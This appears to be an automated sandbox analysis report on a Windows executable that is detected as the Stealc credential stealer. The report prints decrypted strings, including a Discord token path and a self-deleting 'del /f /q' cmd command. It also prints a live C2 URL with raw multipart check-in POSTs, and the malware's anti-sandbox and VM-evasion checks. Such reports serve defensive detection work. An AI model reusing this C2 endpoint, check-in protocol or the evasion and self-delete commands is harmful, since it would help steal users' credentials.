Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.cd0000.0.unpack	String decryptor: screenshot.jpg

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00CE9030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00CD72A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDA2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00CDA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00CDA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00CDC920

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CE40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CDE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CE47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CD1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDDB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDBE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CDEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDDF10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/6c4adf523b719729.php

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CD62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00CD62D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--

Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/405117-2476756634-1003ge
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpAC
Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpeC
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d?
Source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Detected potential crypto function

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D10098	0_2_00D10098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2B198	0_2_00D2B198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D02138	0_2_00D02138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E	0_2_0102F30E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337	0_2_01128337
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D14288	0_2_00D14288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3E258	0_2_00D3E258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01017221	0_2_01017221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4D39E	0_2_00D4D39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012012E4	0_2_012012E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D5B308	0_2_00D5B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D853F	0_2_010D853F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112D5DC	0_2_0112D5DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112345A	0_2_0112345A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D145A8	0_2_00D145A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3D5A8	0_2_00D3D5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFE544	0_2_00CFE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012024BA	0_2_012024BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF4573	0_2_00CF4573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D166C8	0_2_00D166C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D596FD	0_2_00D596FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4A648	0_2_00D4A648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011267FA	0_2_011267FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100D603	0_2_0100D603
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D46799	0_2_00D46799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0111C676	0_2_0111C676
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2D720	0_2_00D2D720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3F8D6	0_2_00D3F8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112F926	0_2_0112F926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D298B8	0_2_00D298B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2B8A8	0_2_00D2B8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24868	0_2_00D24868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01130B4D	0_2_01130B4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01118B72	0_2_01118B72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D38BD9	0_2_00D38BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112BA0D	0_2_0112BA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D40B88	0_2_00D40B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D44BA8	0_2_00D44BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4AC28	0_2_00D4AC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D24DC8	0_2_00D24DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01124C52	0_2_01124C52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D25DB9	0_2_00D25DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D01D78	0_2_00D01D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2BD68	0_2_00D2BD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3AD38	0_2_00D3AD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D41EE8	0_2_00D41EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01017F9B	0_2_01017F9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D18E78	0_2_00D18E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01129EFA	0_2_01129EFA

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00CD4610 appears 316 times

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nrgnjalz ZLIB complexity 0.9948620709295262

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00CE9790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00CE3970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\L5KLWO0A.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2123776 > 1048576

Source: file.exe

Static PE information: Raw size of nrgnjalz is bigger than: 0x100000 < 0x19b800

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.cd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW;

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00CE9BB0

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

PE file contains an invalid checksum

Source: file.exe

Static PE information: real checksum: 0x20d304 should be: 0x2165e3

PE file contains sections with non-standard names

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nrgnjalz
Source: file.exe	Static PE information: section name: wpavutyr
Source: file.exe	Static PE information: section name: .taggant

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D510D push ebx; mov dword ptr [esp], edx	0_2_011D5498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFA0DC push eax; retf	0_2_00CFA0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EB1AE push 3F7FF5FDh; mov dword ptr [esp], ecx	0_2_011EB32C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011CE1AE push edx; mov dword ptr [esp], eax	0_2_011CE1CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119A1D1 push edi; mov dword ptr [esp], ecx	0_2_0119A21C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E61F3 push 0BFBBF38h; mov dword ptr [esp], ebp	0_2_011E65B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117401D push 345DEF0Dh; mov dword ptr [esp], edi	0_2_011740FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117401D push 4596BC85h; mov dword ptr [esp], esi	0_2_01174216
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012440A8 push eax; mov dword ptr [esp], 0304A7EAh	0_2_01244113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFA118 push eax; retf	0_2_00CFA119
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E00ED push edx; mov dword ptr [esp], eax	0_2_011E0132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E00ED push edi; mov dword ptr [esp], eax	0_2_011E014D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121432B push edx; mov dword ptr [esp], eax	0_2_0121437B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push 4DD61400h; mov dword ptr [esp], edi	0_2_0102F3C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push edi; mov dword ptr [esp], ecx	0_2_0102F441
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push eax; mov dword ptr [esp], ecx	0_2_0102F459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push eax; mov dword ptr [esp], edx	0_2_0102F4DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push ecx; mov dword ptr [esp], ebp	0_2_0102F4EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push 355ED405h; mov dword ptr [esp], eax	0_2_0102F4FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0102F30E push edi; mov dword ptr [esp], esi	0_2_0102F52A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011A5338 push ebx; mov dword ptr [esp], eax	0_2_011A5368
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 5475B052h; mov dword ptr [esp], edx	0_2_011283B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 3EC7C93Fh; mov dword ptr [esp], ebx	0_2_011283D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 10E259BEh; mov dword ptr [esp], edi	0_2_01128432
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 7FBE81E4h; mov dword ptr [esp], ecx	0_2_01128457
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 310FC622h; mov dword ptr [esp], ecx	0_2_01128522
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 5B025774h; mov dword ptr [esp], ecx	0_2_0112856A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push esi; mov dword ptr [esp], eax	0_2_011285DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push edx; mov dword ptr [esp], ecx	0_2_011286B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push eax; mov dword ptr [esp], ecx	0_2_011286FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01128337 push 510D125Dh; mov dword ptr [esp], ebx	0_2_01128755

Source: file.exe

Static PE information: section name: nrgnjalz entropy: 7.95429774987272

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\file.exe

0_2_00CE9BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBE2C5 second address: FBE2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113773C second address: 1137759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF09325AC3h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137759 second address: 113775F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113775F second address: 1137765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137765 second address: 1137769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137769 second address: 113778B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FBF09325AC4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF09325AB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11367A8 second address: 11367B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FBF08D33348h 0x0000000e rdtsc
